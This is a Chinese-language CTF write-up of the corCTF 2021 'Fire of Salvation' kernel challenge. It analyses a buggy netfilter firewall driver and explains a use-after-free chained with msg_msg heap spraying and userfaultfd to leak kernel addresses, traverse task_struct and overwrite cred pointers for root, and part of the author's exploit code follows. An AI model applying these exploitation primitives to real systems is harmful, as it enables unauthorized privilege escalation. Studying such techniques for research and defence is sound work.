從兩道0解題看Linux內核堆上msg_msg對象擴展利用
在前些日子結束的 corCTF 2021 國際賽中,出現了兩個有意思的0解Linux kernel題,賽后我的隊友向我推薦了這兩道題,我瀏覽了一下官方題解,做了復現。
這兩道題的主要目的是介紹了 <在Linux Kernel中,當我們控制了 struct msg_msg 之后,如何構造任意(越界)讀、任意寫、以及任意釋放的原語。進而如何配合userfaultfd實現對于當前進程的task_struct,以及cred的進攻利用,實現權限提升> 的這樣一種技術。
這是出題人的想法與官方WP:
Fire of Salvation(https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html)
Wall Of Perdition(https://syst3mfailure.io/wall-of-perdition)
這個倉庫里收集了題目文件:
Github(https://github.com/Crusaders-of-Rust/corCTF-2021-public-challenge-archive/tree/main/pwn)1
Netfiler Hook簡介
Linux Kernel Communication — Netfilter Hooks(https://infosecwriteups.com/linux-kernel-communication-part-1-netfilter-hooks-15c07a5a5c4e)
netfilter是一個用于數據包處理的框架,在正常的套接字接口之外。它有四個部分。首先,每個協議都定義了 "鉤子"(IPv4定義了5個),這些鉤子是數據包穿越該協議棧過程中的明確定義的hook point。在每一個點上,協議都根據數據包和hook number調用netfilter框架。
Netfilter給了我們一種在固定的point對packet進行回調,解析,修改,過濾的可能。
Netfilter提供了一種叫做netfilter hooks的東西,這是一種使用回調的方式,以便在內核內過濾數據包。
有5種不同的netfilter hook分別位于如下位置 1~5。
A Packet Traversing the Netfilter System: --->[1]--->[ROUTE]--->[3]--->[4]---> | ^ | | | [ROUTE] v | [2] [5] | ^ | | v |
他們對應的是:
- NF_INET_PER_ROUNTING
- NF_INET_LOCAL_IN
- NF_INET_FORWARD
- NF_INET_POST_ROUTING
- NF_INET_LOCAL_OUT
具體的,我們需要使用 nf_register_net_hook 針對hook進行注冊(結構體nf_hook_ops)。
Fire of Salvation
題目描述
Elastic objects in kernel have more power than you think. A kernel config file is provided as well, but some of the important options include: CONFIG_SLAB=yCONFIG_SLAB_FREELIST_RANDOM=yCONFIG_SLAB_FREELIST_HARDEN=yCONFIG_STATIC_USERMODEHELPER=yCONFIG_STATIC_USERMODEHELPER_PATH=""CONFIG_FG_KASLR=y SMEP, SMAP, and KPTI are of course on. Note that this is an easier variation of the Wall of Perdition challenge. hint: Using the correct elastic object you can achieve powerful primitives such as arb read and arb write. While arb read for this object has been documented, arb write has not to the extent of our knowledge (it is not a 0 day tho so don't worry).
可以看到開啟了一堆保護和額外的加固。
注意以下選項:
- FG-KASLR (Function Granular Kernel Address Space Layout Randomization):細粒度的kaslr,函數級別上的KASLR優化。
- STATIC_USERMODE_HELPER 禁掉了對于modprobe_path和core_pattern的利用(只讀區域)
值得注意的是的使用了SLAB分配器而非SLUB。
題目源碼在:
https://paste.ubuntu.com/p/2xzRxyVjqy/
題目本身實現了一個 內核態的防火墻驅動,定義了針對ipv4數據包的出入站規則 。
init_firewall
/*初始化兩個全局的list firewall_rules_in:存儲指向入站規則的指針firewall_rules_out:存儲指向出站規則的指針*/firewall_rules_in = kzalloc(sizeof(void *) * MAX_RULES, GFP_KERNEL);firewall_rules_out = kzalloc(sizeof(void *) * MAX_RULES, GFP_KERNEL);
/*注冊hook函數*/ if (nf_register_net_hook(&init_net, &in_hook) < 0) { printk(KERN_INFO "[Firewall::Error] Cannot register nf hook!\n"); return ERROR; }if (nf_register_net_hook(&init_net, &out_hook) < 0) { printk(KERN_INFO "[Firewall::Error] Cannot register nf hook!\n"); return ERROR; }
對應的結構體如下:
static struct nf_hook_ops in_hook = { .hook = firewall_inbound_hook,/* 鉤子函數 */ .hooknum = NF_INET_PRE_ROUTING, /* 鉤子點,NF_INET_PRE_ROUTING代表當包到達時被調用。 */ .pf = PF_INET, /* 協議族 */ .priority = NF_IP_PRI_FIRST /* 優先級 */};
static struct nf_hook_ops out_hook = { .hook = firewall_outbound_hook, .hooknum = NF_INET_POST_ROUTING, .pf = PF_INET, .priority = NF_IP_PRI_FIRST};
firewall_inbound_hook && firewall_outbound_hook
/*本函數會在包進站時被調用*/static uint32_t firewall_inbound_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state){ int i; uint32_t ret;
for (i = 0; i < MAX_RULES; i++) { //掃描存在的過濾規則 if (firewall_rules_in[i]) { // 調用process_rule處理對應的數據包 ret = process_rule(skb, firewall_rules_in[i], INBOUND, i); if (ret != SKIP) return ret; } }
return NF_ACCEPT;}
/*本函數會在包出站時被調用*/static uint32_t firewall_outbound_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state){ int i; uint32_t ret;
for (i = 0; i < MAX_RULES; i++) { if (firewall_rules_out[i]) { ret = process_rule(skb, firewall_rules_out[i], OUTBOUND, i);
if (ret != SKIP) return ret; } }
return NF_ACCEPT;}
process_rule
static uint32_t process_rule(struct sk_buff *skb, rule_t *rule, uint8_t type, int i){ struct iphdr *iph; struct tcphdr *tcph; struct udphdr *udph;
printk(KERN_INFO "[Firewall::Info] rule->iface: %s...\n", rule->iface); printk(KERN_INFO "[Firewall::Info] skb->dev->name: %s...\n", skb->dev->name);
/* 比較interface是否匹配 */ if (strncmp(rule->iface, skb->dev->name, 16) != 0) { printk(KERN_INFO "[Firewall::Error] Rule[%d], inferface doesn't match, skipping!\n", i); return SKIP; }
/* 取當前的ip頭 */ iph = ip_hdr(skb); /* 如果是INBOUND過濾 */ if (type == INBOUND) { /* 判斷是否在一個子網內? */ if ((rule->ip & rule->netmask) != (iph->saddr & rule->netmask)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], ip->saddr doesn't belong to the provided subnet, skipping!\n", i); /* 如果不在則返回SKIP跳過 */ return SKIP; } } /* 如果是OUTBOUND過濾 */ else { /* 判斷子網合法性 */ if ((rule->ip & rule->netmask) != (iph->daddr & rule->netmask)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], ip->daddr doesn't belong to the provided subnet, skipping!\n", i); return SKIP; } } /* 如果是TCP協議 */ if ((rule->proto == IPPROTO_TCP) && (iph->protocol == IPPROTO_TCP)) { printk(KERN_INFO "[Firewall::Info] Rule[%d], protocol is TCP\n", i); /* 取tcp頭 */ tcph = tcp_hdr(skb); /* 檢查端口合法性 */ if ((rule->port != 0) && (rule->port != tcph->dest)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], rule->port (%d) != tcph->dest (%d), skipping!\n", i, ntohs(rule->port), ntohs(tcph->dest)); return SKIP; } /* 判斷action是否合法,只允許NF_DROP 、NF_ACCEPT */ if ((rule->action != NF_DROP) && (rule->action != NF_ACCEPT)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n", i, rule->action); return SKIP; }
printk(KERN_INFO "[Firewall::Info] %s Rule[%d], action %d\n", (type == INBOUND) ? "Inbound" : "Outbound", i, rule->action);
return rule->action; }
/* 如果是UDP協議 */ else if ((rule->proto == IPPROTO_UDP) && (iph->protocol == IPPROTO_UDP)) { printk(KERN_INFO "[Firewall::Info] Rule[%d], protocol is UDP\n", i);
udph = udp_hdr(skb);
if ((rule->port != 0) && (rule->port != udph->dest)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], rule->port (%d) != udph->dest (%d), skipping!\n", i, ntohs(rule->port), ntohs(udph->dest)); return SKIP; }
if ((rule->action != NF_DROP) && (rule->action != NF_ACCEPT)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n", i, rule->action); return SKIP; }
printk(KERN_INFO "[Firewall::Info] %s Rule[%d], action %d\n", (type == INBOUND) ? "Inbound" : "Outbound", i, rule->action);
return rule->action; }
return SKIP;}
firewall_add_rule
static long firewall_add_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx){ printk(KERN_INFO "[Firewall::Info] firewall_add_rule() adding new rule!\n");
if (firewall_rules[idx] != NULL) { printk(KERN_INFO "[Firewall::Error] firewall_add_rule() invalid rule slot!\n"); return ERROR; }
//在對應的idx用kzalloc分配一個rule_t,沒有限制idx范圍 firewall_rules[idx] = (rule_t *)kzalloc(sizeof(rule_t), GFP_KERNEL);
if (!firewall_rules[idx]) { printk(KERN_INFO "[Firewall::Error] firewall_add_rule() allocation error!\n"); return ERROR; }
memcpy(firewall_rules[idx]->iface, user_rule.iface, 16); memcpy(firewall_rules[idx]->name, user_rule.name, 16); //拷貝0x800緩沖區到對應位置 strncpy(firewall_rules[idx]->desc, user_rule.desc, DESC_MAX); /* in4_pton將字符串轉換成ipv4地址 , 檢查ipv4的地址格式是否合法*/ if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0) { printk(KERN_ERR "[Firewall::Error] firewall_add_rule() invalid IP format!\n"); kfree(firewall_rules[idx]); firewall_rules[idx] = NULL; return ERROR; } /* 檢查網絡掩碼是否合法 */ if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0) { printk(KERN_ERR "[Firewall::Error] firewall_add_rule() invalid Netmask format!\n"); kfree(firewall_rules[idx]); firewall_rules[idx] = NULL; return ERROR; }
/* 將對應的user-space的信息賦值到kernel-space變量中 */ firewall_rules[idx]->proto = user_rule.proto; firewall_rules[idx]->port = ntohs(user_rule.port); firewall_rules[idx]->action = user_rule.action; firewall_rules[idx]->is_duplicated = 0;
printk(KERN_ERR "[Firewall::Info] firewall_add_rule() new rule added!\n");
return SUCCESS;}
firewall_delete_rule
static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx){ printk(KERN_INFO "[Firewall::Info] firewall_delete_rule() deleting rule!\n");
if (firewall_rules[idx] == NULL) { printk(KERN_INFO "[Firewall::Error] firewall_delete_rule() invalid rule slot!\n"); return ERROR; }
kfree(firewall_rules[idx]); firewall_rules[idx] = NULL;
return SUCCESS;}
這個函數沒有UAF可以用。
firewall_edit_rule
可以編輯幾個對應的屬性。
static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx){ printk(KERN_INFO "[Firewall::Info] firewall_edit_rule() editing rule!\n");
#ifdef EASY_MODE printk(KERN_INFO "[Firewall::Error] Note that description editing is not implemented.\n"); #endif
if (firewall_rules[idx] == NULL) { printk(KERN_INFO "[Firewall::Error] firewall_edit_rule() invalid idx!\n"); return ERROR; }
memcpy(firewall_rules[idx]->iface, user_rule.iface, 16); memcpy(firewall_rules[idx]->name, user_rule.name, 16);
if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0) { printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n"); return ERROR; }
if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0) { printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n"); return ERROR; }
firewall_rules[idx]->proto = user_rule.proto; firewall_rules[idx]->port = ntohs(user_rule.port); firewall_rules[idx]->action = user_rule.action;
printk(KERN_ERR "[Firewall::Info] firewall_edit_rule() rule edited!\n");
return SUCCESS;}
firewall_dup_rule
static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx){ //dup與firewall_rules應該是要統一屬性 uint8_t i; rule_t **dup;
printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() duplicating rule!\n"); //選擇對應的rules list dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
if (firewall_rules[idx] == NULL) { printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n"); return ERROR; } // 如果對應的 idx 已經設置了is_duplicated標志,return ERROR if (firewall_rules[idx]->is_duplicated) { printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n"); return ERROR; } // 掃描每個firewall_rules中每一項,設置is_duplicated = 1 // dup實際上是全局的firewall_rules_out 或者 firewall_rules_in // 如果有list中有NULL的,那么,把pointer list中所有為NULL的entry都設置成firewall_rules[idx]? // 實際就是用firewall_rules[idx]來填查找到的第一個NULL的,然后設置用于填充的entry is_duplicated=1 for (i = 0; i < MAX_RULES; i++) { if (dup[i] == NULL) { dup[i] = firewall_rules[idx]; firewall_rules[idx]->is_duplicated = 1; printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule duplicated!\n"); return SUCCESS; } }
printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n");
return ERROR;}
漏洞利用
本題漏洞很明顯,首先在delete函數中不存在UAF,會設置對應free entry為NULL。
但是在 firewal_dup_rule 中用對應idx的entry來填充了list中查找到的第一個為NULL的entry。
如果我們先一步調用 firewall_dup_rule ,相當于在(對稱的)list上放了同一個entry的一個copy,我們free掉一個,再利用對稱的list里剩下的沒有設置為NULL的copy即可完成UAF。
這里要注意 dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
也就是說dup的時候firewall_rules_out鏈表的會dup到firewall_rules_in;firewall_rules_in會dup到firewall_rules_out。是一個對稱的dup,而不是在同一個list中dup。
并且于flag標志位同一個entry只能dup一次。
我們可以UAF的對象屬于kmalloc-4096,并且我們可以配合edit完成UAF-write,但是edit限制為只能任意寫UAF對象部分長度。
利用 msg_msg 對象堆噴射構造任意讀寫
msg_msg 對象
/* one msg_msg structure for each message */struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; //無SELinux,這里為NULL /* the actual message follows immediately */};
根據 :manpage(https://man7.org/linux/man-pages/man2/msgop.2.html)
這個對象在上層主要對應的操作是 msgsnd() 還有 msgrcv()
struct msg_msgseg { struct msg_msgseg *next; /* the next part of the message follows immediately */};
int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg)

ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp,int msgflg);

這兩個syscall主要用于發送message到系統的消息隊列,然后從消息隊列接收message。調用他的進程必須對消息隊列有寫權限才能發送消息;有讀權限才能接收消息
在內核中 msgsnd 會到達 do_msgsnd :
#0 0xffffffff8159eb44 in do_msgsnd ()#1 0xffffffff8146dfcf in __x64_sys_msgsnd ()#2 0xffffffff81004ea6 in do_syscall_64 ()
do_msgsnd
static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg){ struct msg_queue *msq; struct msg_msg *msg; int err; struct ipc_namespace *ns; DEFINE_WAKE_Q(wake_q);
//獲取創建該消息隊列的進程的IPC命名空間 ns = current->nsproxy->ipc_ns; //檢查size,qid是否合法 if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; if (mtype < 1) return -EINVAL;
//為內核態的msg分配空間,拷貝用戶態數據到內核態 /* 分配的時候每次分配的長度是:alen = min(len, DATALEN_MSG),然后會計算len - alen是否大于零。 如果大于0的話,會分配多個 struct msg_msgseg *seg; 直到len-alen≤0 并且分配的多個msg_msgseg會被掛在 &msg->next 鏈表上,多個struct msg_msgseg之間也是以&seg->next連接的 */ msg = load_msg(mtext, msgsz); if (IS_ERR(msg)) return PTR_ERR(msg);
//設置message type和text size msg->m_type = mtype; msg->m_ts = msgsz;
rcu_read_lock();
//根據namespcae和msqid進行檢查 //struct msg_queue *msq用于描述消息隊列 msq = msq_obtain_object_check(ns, msqid); if (IS_ERR(msq)) { err = PTR_ERR(msq); goto out_unlock1; } ipc_lock_object(&msq->q_perm);
for (;;) { struct msg_sender s;
err = -EACCES; if (ipcperms(ns, &msq->q_perm, S_IWUGO)) goto out_unlock0;
/* raced with RMID? */ if (!ipc_valid_object(&msq->q_perm)) { err = -EIDRM; goto out_unlock0; }
err = security_msg_queue_msgsnd(&msq->q_perm, msg, msgflg); if (err) goto out_unlock0;
if (msg_fits_inqueue(msq, msgsz)) break;
/* queue full, wait: */ if (msgflg & IPC_NOWAIT) { err = -EAGAIN; goto out_unlock0; }
/* enqueue the sender and prepare to block */ ss_add(msq, &s, msgsz);
if (!ipc_rcu_getref(&msq->q_perm)) { err = -EIDRM; goto out_unlock0; }
ipc_unlock_object(&msq->q_perm); rcu_read_unlock(); schedule();
rcu_read_lock(); ipc_lock_object(&msq->q_perm);
ipc_rcu_putref(&msq->q_perm, msg_rcu_free); /* raced with RMID? */ if (!ipc_valid_object(&msq->q_perm)) { err = -EIDRM; goto out_unlock0; } ss_del(&s);
if (signal_pending(current)) { err = -ERESTARTNOHAND; goto out_unlock0; }
}
ipc_update_pid(&msq->q_lspid, task_tgid(current)); msq->q_stime = ktime_get_real_seconds();
if (!pipelined_send(msq, msg, &wake_q)) { /* no one is waiting for this message, enqueue it */ list_add_tail(&msg->m_list, &msq->q_messages); msq->q_cbytes += msgsz; msq->q_qnum++; atomic_add(msgsz, &ns->msg_bytes); atomic_inc(&ns->msg_hdrs); }
err = 0; msg = NULL;
out_unlock0: ipc_unlock_object(&msq->q_perm); wake_up_q(&wake_q);out_unlock1: rcu_read_unlock(); if (msg != NULL) free_msg(msg); return err;}
load_msg
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
msg = load_msg(mtext, msgsz);
struct msg_msg *load_msg(const void __user *src, size_t len){ struct msg_msg *msg; struct msg_msgseg *seg; int err = -EFAULT; size_t alen; //分配空間 msg = alloc_msg(len); if (msg == NULL) return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG); //此時的src就是用戶態的mtext //這里我們把用戶態的數據拷貝進內核 if (copy_from_user(msg + 1, src, alen)) goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) { len -= alen; src = (char __user *)src + alen; alen = min(len, DATALEN_SEG); if (copy_from_user(seg + 1, src, alen)) goto out_err; }
err = security_msg_msg_alloc(msg); if (err) goto out_err;
return msg;
out_err: free_msg(msg); return ERR_PTR(err);}
alloc_msg
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
struct msg_msg *load_msg(const void __user *src, size_t len) msg = alloc_msg(len); //此時的len等于用戶態傳來的msgsz
static struct msg_msg *alloc_msg(size_t len){ struct msg_msg *msg; struct msg_msgseg **pseg; size_t alen;
alen = min(len, DATALEN_MSG); msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); if (msg == NULL) return NULL;
msg->next = NULL; msg->security = NULL;
len -= alen; pseg = &msg->next; while (len > 0) { struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG); seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); if (seg == NULL) goto out_err; *pseg = seg; seg->next = NULL; pseg = &seg->next; len -= alen; }
return msg;
out_err: free_msg(msg); return NULL;}
上一部分已經簡單介紹了這個函數,這里我們注意一下 struct msg_msgseg
struct msg_msgseg { struct msg_msgseg *next; /* the next part of the message follows immediately */};
原生的只有一個next指針實際下方還有對應的data區域。
分配的時候 seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); 會加上剩下的數據的alen的長度,總的長度就是 sizeof(struct msg_msgseg) + alen。
當一個消息過長時,其典型結構如:
msg_msg ----next----> msg_msgseg ----next----> msg_msgseg ----next----> msg_msgseg...
do_msgrcv
本函數中,如果設置了MSG_COPY,那么會調用 prepare_copy 進行預先分配,其實就是 load_msg 的一個封裝。也就是先把用戶態的放到一個copy上。
接下來,在for循環中通過 find_msg 中的list_for_each_entry掃描了msg_queue.q_receivers 隊列。最終返回合適的 struct msg_msg *
如果設置了 msgflg & MSG_COPY 當開啟 CONFIG_CHECKPOINT_RESTORE 時成功調用 copy_msg
在copy_msg中,首先從struct msg_msg 中進行拷貝到函數一開始copy的副本中。
=> 0xffffffff8159e549 <+297>: rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
然后拷貝struct msg_msgseg ,從 msg_msg.next 到 msg_copy.next 。
if (msgflg & MSG_COPY) { msg = copy_msg(msg, copy); goto out_unlock0; }
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst){ struct msg_msgseg *dst_pseg, *src_pseg; size_t len = src->m_ts; size_t alen;
if (src->m_ts > dst->m_ts) return ERR_PTR(-EINVAL);
alen = min(len, DATALEN_MSG); memcpy(dst + 1, src + 1, alen);
for (dst_pseg = dst->next, src_pseg = src->next; src_pseg != NULL; dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {
len -= alen; alen = min(len, DATALEN_SEG); memcpy(dst_pseg + 1, src_pseg + 1, alen); }
dst->m_type = src->m_type; dst->m_ts = src->m_ts;
return dst;}
而這個函數中的src參數我們是可以劫持的,下文會詳細講。
注意,如果設置了MSG_COPY 不會進行接下來的出隊unlink操作,而是直接 goto out_unlock0;
從隊列中unlink,更新隊列狀態。list_del(&msg->m_list)
最終會到達 bufsz = msg_handler(buf, msg, bufsz); 這個 msg_handler 是 do_msgrcv 的最后一個參數。
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t) )
這個msg_handler實際上就是 store_msg :
0xffffffff8159f84c <+636>: call 0xffffffff8159e5b0 <store_msg>0xffffffff8159f851 <+641>: test eax,eax0xffffffff8159f853 <+643>: jne 0xffffffff8159fae9 <do_msgrcv.constprop+1305>0xffffffff8159f859 <+649>: mov rdi,r150xffffffff8159f85c <+652>: call 0xffffffff8159e670 <free_msg>
最終會 kfree(msg)
store_msg
本函數主要作用是將內核態放好的msg再拷貝到用戶態。
// msg_handler(buf, msg, bufsz)int store_msg(void __user *dest, struct msg_msg *msg, size_t len){ size_t alen; struct msg_msgseg *seg;
alen = min(len, DATALEN_MSG); //首先拷貝alen長度 if (copy_to_user(dest, msg + 1, alen)) return -1; //如果有msg_msgseg,那么緊接著dest+alen放如果有msg_msgseg for (seg = msg->next; seg != NULL; seg = seg->next) { len -= alen; dest = (char __user *)dest + alen; alen = min(len, DATALEN_SEG); if (copy_to_user(dest, seg + 1, alen)) return -1; } return 0;}
do_msgrcv
https://elixir.bootlin.com/linux/v5.8/source/ipc/msg.c#L1090
配合堆噴射構造OOB Read泄漏kernel base
1、首先我們創建一個正常的firewall_rule。
2、delete上一個firewall_rule。
3、從kmalloc-4k中通過創建一個msg_msg取回來free掉的firewall_rule,此時轉換成了msg_msg結構。
4、在堆上噴射大量的帶有全局數據的 shm_file_data 結構。
struct shm_file_data { int id; struct ipc_namespace *ns; struct file *file; const struct vm_operations_struct *vm_ops;};
5、利用outbound list上存在的指針,對此時的msg_msg結構進行edit,主要目的是修改 m_ts 為一個大值。
6、調用 msgrcv 從消息隊列中讀取,由于此時 m_ts 被劫持為一個大值,所以我們可以進行越界讀取。
7、越界讀取到噴射 shm_file_data 利用其中的 init_ipc_ns 泄漏kernel base,bypass fg-kaslr。
遍歷task_struct鏈表查找當前進程結構體
首先,回顧一下拷貝的過程。
考慮當我們打開MSG_COPY 、 CONFIG_CHECKPOINT_RESTORE時,當我們調用 do_msgrcv 會有如下過程:
1、首先將用戶態傳入的buf(一開始是空的)拷貝到一個內核態的副本上(aka. msg_msg_copy, msg_msgseg_copy)。
2、調用 find_msg 根據消息類型,從隊列中查找是否有匹配的消息。即查找真正合適的msg_msg結構(就是我們UAF后控制的那個)。
3、接下來調用 copy_msg 拷貝查找到的匹配的消息msg_msg 以及對應的msg_msgseg到msg_msg_copy、msg_msgseg_copy(通過next指針鏈接)。
4、接下來一個goto,最終到達 msg_handler(buf, msg, bufsz) 。本質上是調用:
do_msg_fill->store_msg->copy_to_user 將對應的msg里的消息copy到用戶態。
總結一下:當開啟了 MSG_COPY 、 CONFIG_CHECKPOINT_RESTORE 內核會在不更新msg隊列信息,不進行unlink的情況下,幾乎是直接將對應的msg+msgseg的內容拷貝到用戶態連續的地址空間。
這樣的好處在于,由于msg_msg不出隊,我們可以一直用edit進行多次的hijack。
具體的,我們通過edit,改mas_msg.next指向init_task+0x290的位置,那么我們就可以讀取將init_task中的內容作為msg_msgseg讀出來,而init_task本質上是一個task_struct,其中有task_struct鏈表中指向下一項的指針,還有對應的pid。
我們通過一次edit+read可以讀一個task_struct,每讀一次用讀到的task鏈表的next指針重新設置msg_msg.next通過重復這個過程,就完成了一個對于task_struct鏈表的遍歷,我們的最終目標就是找到當前進程對應的task_struct結構體。
通過UAF構造arw原語劫持task_struct.cred實現權限提升
當我們找到當前進程對應的task_struct的位置之后,只需要劫持task_struct中的兩個關鍵指針,即可完成權限提升:
/* Objective and real subjective task credentials (COW): */const struct cred __rcu *real_cred; /* Effective (overridable) subjective task credentials (COW): */const struct cred __rcu *cred;
我們通過offset定位這兩個指針在 &task_struct + 0x538 和 0x540 的位置。
首先我們針對idx = 1再來一次UAF,構造出一個可控制的msg_msg:
我們配合userfaultfd機制,利用 msgsnd 觸發一段對mmap后沒有初始化的內存的copy操作。啟動userfaultfd的handler。
在handler中,我們edit對應的msg_msg結構,主要目的是修改其next指針為&task_struct + 0x538 - 0x8的位置,相當于偽造出一個msg_msgseg。
緊接著在handler中恢復對應的未初始化的內存為我們構造的惡意數據。
// 初始化buffer,大小為pagesize,并且設置對應位置的指針,準備用來改cred * 恢復userfault的區域char uf_buffer[0x1000];memset(uf_buffer, 0, sizeof(uf_buffer));memcpy((void *)(uf_buffer + 0x1000-0x30), (void *)&init_cred, 8);memcpy((void *)(uf_buffer + 0x1000-0x30 + 8), (void *)&init_cred, 8);
// 設置struct uffdio_copy 恢復userfaultuf_copy.src = (unsigned long)uf_buffer;uf_copy.dst = FAULT_PAGE;uf_copy.len = 0x1000;uf_copy.mode = 0;uf_copy.copy = 0;
if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up{ perror("uffdio_copy error"); exit(-1);}
恢復之后,msgsnd 繼續,此時將對應的用戶態的惡意數據拷貝到內核態,最終在對于我們偽造的msg_msgseg賦值的過程中,實際上覆寫了當前task_struc結構體的real_cred 、 cred指針。使其指向了具有全局root權限的init_cred。完成權限提升。
我的exp:
#define _GNU_SOURCE#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#include <stdint.h>#include <fcntl.h>#include <sched.h>#include <pthread.h>#include <byteswap.h>#include <poll.h>#include <assert.h>#include <time.h>#include <signal.h>#include <sys/wait.h>#include <sys/syscall.h>#include <sys/mman.h>#include <sys/timerfd.h>#include <sys/ipc.h>#include <sys/msg.h>#include <sys/socket.h>#include <sys/reboot.h>#include <linux/userfaultfd.h>#include <arpa/inet.h>#include <sys/shm.h>#include <errno.h>#include <fcntl.h>#include <linux/fs.h>#include <semaphore.h>#include <sys/ioctl.h>#include <sys/stat.h>#include <pty.h>
#define ADD_RULE 0x1337babe#define DELETE_RULE 0xdeadbabe#define EDIT_RULE 0x1337beef#define SHOW_RULE 0xdeadbeef#define DUP_RULE 0xbaad5aad
#define PAGE_SIZE (1 << 12)#define ERROR -1#define SUCCESS 0#define MAX_RULES 0x80
#define INBOUND 0#define OUTBOUND 1#define SKIP -1
#define DESC_MAX 0x800
/* check if expr==-1 */#define CHECK(expr) \ if((expr) ==-1){ \ do{ \ perror(#expr); \ exit(EXIT_FAILURE); \ } while (0); \ } /* check if expr==-1 */
typedef struct{ char iface[16]; char name[16]; char ip[16]; char netmask[16]; uint8_t idx; uint8_t type; uint16_t proto; uint16_t port; uint8_t action; char desc[DESC_MAX];} user_rule_t;
typedef struct{ long mtype; char mtext[1];}msg;
struct list_head { struct list_head *next, *prev;};
/* one msg_msg structure for each message */struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ void *next; /* struct msg_msgseg *next; */ void *security; //無SELinux,這里為NULL /* the actual message follows immediately */};
int fd;char buf[DESC_MAX];char msg_buffer[0x2000]={0};char recieved[0x2000];uint64_t init_ipc_ns=0;uint64_t kernel_base=0;uint64_t init_task=0;uint64_t init_cred=0;pthread_t thr;uint64_t attack_addr ; void *arb_write(void *arg);void debug(){ puts("debug()"); getchar();}
void gen_dot_notation(char *buf, uint32_t val){ sprintf(buf, "%d.%d.%d.%d", val & 0x000000FF, (val & 0x0000FF00) >> 8, (val & 0x00FF0000) >> 16, (val & 0xFF000000) >> 24); return;}
void generate(char *input, user_rule_t *req){ char addr[0x10]; uint32_t ip = *(uint32_t *)&input[0x20]; uint32_t netmask = *(uint32_t *)&input[0x24];
memset(addr, 0, sizeof(addr)); gen_dot_notation(addr, ip); memcpy((void *)req->ip, addr, 0x10);
memset(addr, 0, sizeof(addr)); gen_dot_notation(addr, netmask); memcpy((void *)req->netmask, addr, 0x10);
memcpy((void *)req->iface, input, 0x10); memcpy((void *)req->name, (void *)&input[0x10], 0x10); memcpy((void *)&req->proto, (void *)&input[0x28], 2); memcpy((void *)&req->port, (void *)&input[0x28 + 2], 2); memcpy((void *)&req->action, (void *)&input[0x28 + 2 + 2], 1);
return;}
void firewall_add_rule(uint8_t idx,uint8_t type){ int ret=0; user_rule_t r; memset((void *)&r, 0 , sizeof(user_rule_t)); generate(buf, &r); r.type = type; r.idx = idx; ret = ioctl(fd,ADD_RULE,&r); printf("[+] Add Size: %#lx\n",sizeof(user_rule_t)); if(ret != SUCCESS){ printf("[-] firewall_add_rule FAILED, ret_val is : %d\n",ret); }else{ printf("[+] firewall_add_rule SUCCESS\n"); }}
